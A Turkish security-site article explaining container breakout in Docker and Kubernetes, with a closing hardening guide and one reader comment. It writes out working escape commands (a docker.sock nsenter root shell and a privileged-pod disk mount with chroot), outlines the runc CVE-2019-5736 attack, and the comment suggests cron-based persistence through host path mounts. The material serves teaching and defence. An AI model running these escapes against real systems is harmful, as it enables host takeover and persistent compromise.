Siber Alem / Detail / 233 / Container-breakout-docker-ve-kubernetes-te-ayricalik-yukseltme-metodolojisi
technical_article_reader.sh
TECHNICAL PAPER / papers

Container Breakout: Docker ve Kubernetes'te Ayrıcalık Yükseltme Metodolojisi

2026-07-21
3 min read (468 words)
1 views

Araştırma Kategorisi • Bulut & Konteyner Güvenliği

Container Breakout: Docker ve Kubernetes'te Ayrıcalık Yükseltme Metodolojisi

Konteyner teknolojileri geliştirici verimliliğini artırmakla birlikte, hatalı yapılandırıldığında saldırganların saniyeler içinde host işletim sistemine root olarak sıçramasına imkan tanır. Bu makalede Docker ve Kubernetes'teki en kritik kaçış vektörlerini, gerçek CVE'leri ve savunma yapılandırmalarını inceliyoruz.

1. Konteyner İzolasyonunun Temelleri ve Sınırları

Docker, sanal makine değil; Linux çekirdeğinin namespaces (pid, net, mnt, uts, ipc) ve cgroups özelliklerini kullanan bir izolasyon katmanıdır. Temel fark: VM'ler ayrı çekirdek çalıştırır, konteynerler ana makineyle aynı çekirdeği paylaşır. Bu paylaşım, hatalı yapılandırmalarda saldırı yüzeyini dramatik biçimde genişletir.

2. /var/run/docker.sock: En Tehlikeli Misconfiguration

Bir konteyner içine docker.sock mount edilirse, konteyner dışarıya Docker daemon'a komut verebilir. Bunu CI/CD sistemlerde sıkça görürüz.

# Tehlikeli compose yapılandırması
volumes:
  - /var/run/docker.sock:/var/run/docker.sock

# Konteyner içinden kaçış
docker -H unix:///var/run/docker.sock run -it \
  --privileged --pid=host --net=host \
  -v /:/hostfs ubuntu nsenter -t 1 -m -u -n -i -- bash

# Artık host üzerinde root shell'desiniz!

3. CVE-2019-5736 (runc): Konteynerden Gerçek Kaçış

Bu CVE, runc binary'sinin konteyner içinden üzerine yazılmasına izin vererek host üzerinde root kodu çalıştırmayı sağlıyordu. Etkilenen sürümler: Docker 18.09.2 öncesi.

# Saldırı yüzeyi: exec ile etkileşimli konteyner bağlantısı
docker exec -it victim_container bash

# Konteyner içinde /proc/self/exe üzerinden runc'u okuyor
# ve kendi binary'siyle değiştiriyor. Sonraki docker exec
# komutunda host üzerinde root shell çalışıyor.

4. Kubernetes Privileged Pod Kaçışı

Kubernetes'te securityContext.privileged: true ayarı, konteynere tüm cihaz dosyalarına erişim verir. Saldırgan /dev/sda gibi disk bölümünü mount ederek host dosya sistemine ulaşabilir.

# Saldırgan tarafından oluşturulan tehlikeli pod YAML
spec:
  containers:
  - name: breakout
    image: ubuntu
    securityContext:
      privileged: true

# Pod içinden host disk'i mount et
mkdir /host && mount /dev/sda1 /host
chroot /host bash

5. Güvenlik Sıkılaştırma Rehberi

  • Docker.sock'u hiçbir konteynere mount etmeyin. CI/CD için API alternatifi kullanın.
  • Tüm konteynerleri root olmayan kullanıcı ile çalıştırın: USER nonroot
  • Kubernetes'te Pod Security Admission (PSA) ile privileged pod'ları yasaklayın.
  • Seccomp ve AppArmor profilleri ile sistem çağrılarını sınırlandırın.
  • gVisor veya Kata Containers gibi güçlü izolasyon sandbox'ları değerlendirin.

Makale Tartışmaları (1)

Trancer
USER OP
Rank: Script Kiddie
Posts: 8
Rep: 0
Joined: 2009-01
Rep Progress 0 / 500
2026-07-21 21:07:29 #1

Kubernetes ortamlarında container breakout yaparken --privileged pod'a ek olarak hostPath mount'ları da ihmal etmeyin. /etc/cron.d gibi kritik host dizinleri konteyner içinden yazılabiliyorsa cron job ile kalıcılık sağlanabiliyor. cdiff adlı araç da kümede açık RBAC'leri tespit için kullanılabilir.

Yorum Yapmak İçin Giriş Yapın

Bu makaleye yorum yazmak ve tartışmaya katılmak için giriş yapmalısınız.